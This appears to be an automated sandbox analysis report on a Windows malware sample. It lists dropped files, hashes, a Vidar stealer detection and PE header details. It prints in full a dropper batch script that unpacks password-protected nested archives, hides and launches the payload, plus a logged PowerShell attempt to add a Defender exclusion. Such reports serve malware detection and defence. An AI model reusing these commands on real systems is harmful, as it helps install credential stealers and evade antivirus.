File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800056
Entropy (8bit):	7.997723543142523
Encrypted:	true
SSDEEP:	49152:Zyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJQ:Yj13Trb6i5iGmuXZTbBizt0Jhm
MD5:	7187CC2643AFFAB4CA29D92251C96DEE
SHA1:	AB0A4DE90A14551834E12BB2C8C6B9EE517ACAF4
SHA-256:	C7E92A1AF295307FB92AD534E05FBA879A7CF6716F93AEFCA0EBFCB8CEE7A830
SHA-512:	27985D317A5C844871FFB2527D04AA50EF7442B2F00D69D5AB6BBB85CD7BE1D7057FFD3151D0896F05603677C2F7361ED021EAC921E012D74DA049EF6949E3A3
Malicious:	false
Preview:	PK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}.

C:\Users\user\AppData\Local\Temp\main\extracted\file_5.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800210
Entropy (8bit):	7.997720745184939
Encrypted:	true
SSDEEP:	49152:ayj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJw:Pj13Trb6i5iGmuXZTbBizt0JhG
MD5:	B7D1E04629BEC112923446FDA5391731
SHA1:	814055286F963DDAA5BF3019821CB8A565B56CB8
SHA-256:	4DA77D4EE30AD0CD56CD620F4E9DC4016244ACE015C5B4B43F8F37DD8E3A8789
SHA-512:	79FC3606B0FE6A1E31A2ECACC96623CAF236BF2BE692DADAB6EA8FFA4AF4231D782094A63B76631068364AC9B6A872B02F1E080636EBA40ED019C2949A8E28DB
Malicious:	false
Preview:	PK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z..

C:\Users\user\AppData\Local\Temp\main\extracted\file_6.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1800364
Entropy (8bit):	7.997716835838842
Encrypted:	true
SSDEEP:	49152:kyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJv:lj13Trb6i5iGmuXZTbBizt0Jht
MD5:	0DC4014FACF82AA027904C1BE1D403C1
SHA1:	5E6D6C020BFC2E6F24F3D237946B0103FE9B1831
SHA-256:	A29DDD29958C64E0AF1A848409E97401307277BB6F11777B1CFB0404A6226DE7
SHA-512:	CBEEAD189918657CC81E844ED9673EE8F743AED29AD9948E90AFDFBECACC9C764FBDBFB92E8C8CEB5AE47CEE52E833E386A304DB0572C7130D1A54FD9C2CC028
Malicious:	false
Preview:	PK........n..Y..+..x...x......file_5.zipPK........n..Yab..xw..xw......file_4.zipPK........n..Y....v...v......file_3.zipPK........n..Y...rDv..Dv......file_2.zipPK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..

C:\Users\user\AppData\Local\Temp\main\extracted\file_7.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3473559
Entropy (8bit):	7.9992359395959935
Encrypted:	true
SSDEEP:	98304:8aR3D0Ae5mwdkDWm1Xo4j13Trb6i5iGmuXZTbBizt0Jhd:ds5m6sXoArb6iguZnBi5Qd
MD5:	CEA368FC334A9AEC1ECFF4B15612E5B0
SHA1:	493D23F72731BB570D904014FFDACBBA2334CE26
SHA-256:	07E38CAD68B0CDBEA62F55F9BC6EE80545C2E1A39983BAA222E8AF788F028541
SHA-512:	BED35A1CC56F32E0109EA5A02578489682A990B5CEFA58D7CF778815254AF9849E731031E824ADBA07C86C8425DF58A1967AC84CE004C62E316A2E51A75C8748
Malicious:	false
Preview:	PK........n..Y`.T......#.....AntiAV.data..E..@.D..C/qwg..;...mG.3H..\|...$..}.`..8......lV1..4...Cu.H.(l+{Cl.:........$+Nr....\.u.K_1N:k.'....F...... .....+.70..R.>..A..#6L.:..n..7......Y..y......v.,....=...e....fe.4.@...h..+....=.#...T......A..\|...{A.p{.b*.\|.[...Q...z.v.....iD.....W.....;...........YVL._._.F..4./g;syC.....e,.N..>t.43..p.T4?.K.....:Z.XDVS.gj.)cp..A9.7^.d.M.d.j..c:.(T<J._3-..8.,."s.'...B\.q...\..e.!..{l.\.]'.P.2}..l@^.G...{n..p..u.n.1;W..#..p.A.YD7.....,.o..z;.6T../.w..=.3K5..]............U...,r....n....(..I.....Q.o%.NF..Q.h$y.".7.tU..eVe.b.q.S4%"C..$g..iX..XQl..?Z.U.\|.g....&.d..Y.\|..5O...s.\|..A..@.Y1F.o.o.s.'UY.AU#....D.K.....A....=t.M..L4...{.....BF.Rg.-...j..p.c..'.2....].m..w37t...Rn.r....v....W..g0E......)-.6.=v/.9...o..~.mh.U.&...5.ld4k.gG.G.S.w4G..]'.5......r..Q.U.U.9.Vv....2.>....p.s.p..e....(..}Jox.....Z..[Y..ku.....5....s.././....:...v......h.u.ZlG.>).,.(....Ye<.....3...:T:)...-).=.L.=.2F....&H7..j..\.B6.Ox.\....

C:\Users\user\AppData\Local\Temp\main\extracted\in.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\file.zip (copy)

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.455347579908886
Encrypted:	false
SSDEEP:	6:9nctXUhXUEZ+lX1CGdKUe6tE9+AQy0lNEt0:9cZ4Q1CGAFD9+nVmt0
MD5:	B859643ABFD5718E5D933FAAA3F6882F
SHA1:	C4CA5B02F013645D1705924DB8F757B56A5BC1C0
SHA-256:	7E97FA5F77D6B338258DBE62D510DF0B2D09A7DD8B03496D49C019A914D32217
SHA-512:	EDF695BAE8CFAB27E2BFA2189BD608E4B7E88BFF4CEB8CED59B5747210E13804CC160373AA20A86871FAE47FF11496AB1F066B9DC3230C47249E739B0AA71A5E
Malicious:	false
Preview:	.......H...G...WJ_5BF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\xxzyi\87322bc62a3f46ebac8ba4f227f3c48a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1058336
Entropy (8bit):	6.827880169201504
Encrypted:	false
SSDEEP:	12288:qvUGQWpy+Tac0RDffXJjyYpcyoNHSy5viczPESsQ3BaE32VfXJjyYpz:lGQB+2DR7BWYpcyo44u0aPVBWYpz
MD5:	971B0519B1C0461DB6700610E5E9CA8E
SHA1:	9A262218310F976AAF837E54B4842E53E73BE088
SHA-256:	47CF75570C1ECA775B2DD1823233D7C40924D3A8D93E0E78C943219CF391D023
SHA-512:	D234A9C5A1DA8415CD4D2626797197039F2537E98F8F43D155F815A7867876CBC1BF466BE58677C79A9199EA47D146A174998D21EF0AEBC29A4B0443F8857CB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...w.m..........."...0......(........... ........@.. ....................... ............`.................................K...O....... %.............. r..........p...T............................................ ............... ..H............text........ ...................... ..`.rsrc... %.......&..................@..@.reloc..............................@..B........................H........7................................................................{8.....{9.....{:.....{;.....{<.....{=.....{>.....{?.....{@.....{A.....{B....0..\........(C.....}8.....}9.....}:......};......}<......}=......}>......}?......}@......}A......}B....0...........u.......;.....9....(D....{8....{8...oE...9....(F....{9....{9...oG...9....(H....{:....{:...oI...9....(J....{;....{;...oK...9....(L....{<....{<...oM...9....(N....{=....{=...oO...,w(P....{>....{>...oQ...,_(

C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	147968
Entropy (8bit):	6.454649285943866
Encrypted:	false
SSDEEP:	3072:lOBRrLUOPed9xOi756fJnhsRSK2C22/m4ESZo3XRYzXIkQfyXzdEpx:A/rLVPW0nsP2Xy+TJfWzW7
MD5:	CC36E2A5A3C64941A79C31CA320E9797
SHA1:	50C8F5DB809CFEC84735C9F4DCD6B55D53DFD9F5
SHA-256:	6FEC179C363190199C1DCDF822BE4D6B1F5C4895EBC7148A8FC9FA9512EEADE8
SHA-512:	FCEA6D62DC047E40182DC4FF1E0522CA935F9AEEFDB1517957977BC5D9AC654285A973261401F3B98ABF1F6ED62638B9E31306FD7AAEB67214CA42DFC2888AF0
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....ag.....................`....................@...........................#.............................................(................................p#.........................................\............................................text...x........................... ....rdata...1.......2..................@..@.data....!!..0......................@....00cfg.......`#......*..............@..@.reloc.......p#......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe
File Type:	Non-ISO extended-ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2962
Entropy (8bit):	5.229983173709925
Encrypted:	false
SSDEEP:	48:tivVnlpbzticy6+3OtZy6+3fbzticB+3OtZB+3maPwhThvfsQiQv6lv0BWhObKbX:twU9X9TmhZPwhThHTZAv5QeOc
MD5:	4D4F376EF54627980AE6155718AF9F5F
SHA1:	46D5E6E5CF9BADD67A95CB73F1E58AA3524EEBF1
SHA-256:	D01765196A6FB06426A3B1EB04B0259353E6E474CC1740B8DB77F04A6FEEE435
SHA-512:	45E69223CE1000ABE7B077C22683777D88F61F6983B68223E13EC221D27B2BBD78516C82D1642A99607C6CDDAF5402FBA6954E46C18A523857E6A6B262947489
Malicious:	false
Preview:	Ordner erstellt: C:\xxzyi..Willkommen beim Textanalyseprogramm!..Geben Sie Text f.r die Analyse ein (2 Sekunden Zeit):...Die Zeit ist abgelaufen! Die Eingabe wurde nicht abgeschlossen...Generiere einen zuf.lligen Satz.....Generierter Satz: Buch Blume Fenster Baum..Anzahl der W.rter: 4..Fehler beim Hinzuf.gen des Ausschlusses: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\xxzyi..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\xxzyi..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.602267885797462
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'057'152 bytes
MD5:	8d69adfe2e1db76b837405b076979809
SHA1:	b0c34909c5c70dc82384356a7a7d62877c6c82c8
SHA256:	e8b6019ff977c06318a16605f86966341131d037a9e5fa4a46e2ac8780e992c6
SHA512:	78a09192f872e355176b1fc642b9ad4c9d056f4c2465d17bd965c849e9e3e0669d825dbdeffe6060fc21dccef7dc76207ea585beb2653073feb9f20a7c8221bb
SSDEEP:	49152:HY8f7HONSV4eK0Toe/cil9yPFSxoMu4Q56M4/n:HTOEWeK2oe//9ydIFuJD6n
TLSH:	05E519B2B50972CFD48E16749D6FCD82A95D07B94B204CC39D7CA4BABE63CC115BAC24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x725000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F100D4FD75Ah
je 00007F100D4FD784h
add byte ptr [eax], al
jmp 00007F100D4FF755h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x323570	0x10	ecafqtwy
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x323520	0x18	ecafqtwy
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	68eceaa48563c0b3e32ce164c90a9784	False	0.9978712534059946	data	7.978599865036931	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	461b16f327def7045742c8f9521d66e2	False	0.708984375	data	5.855705613413428	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
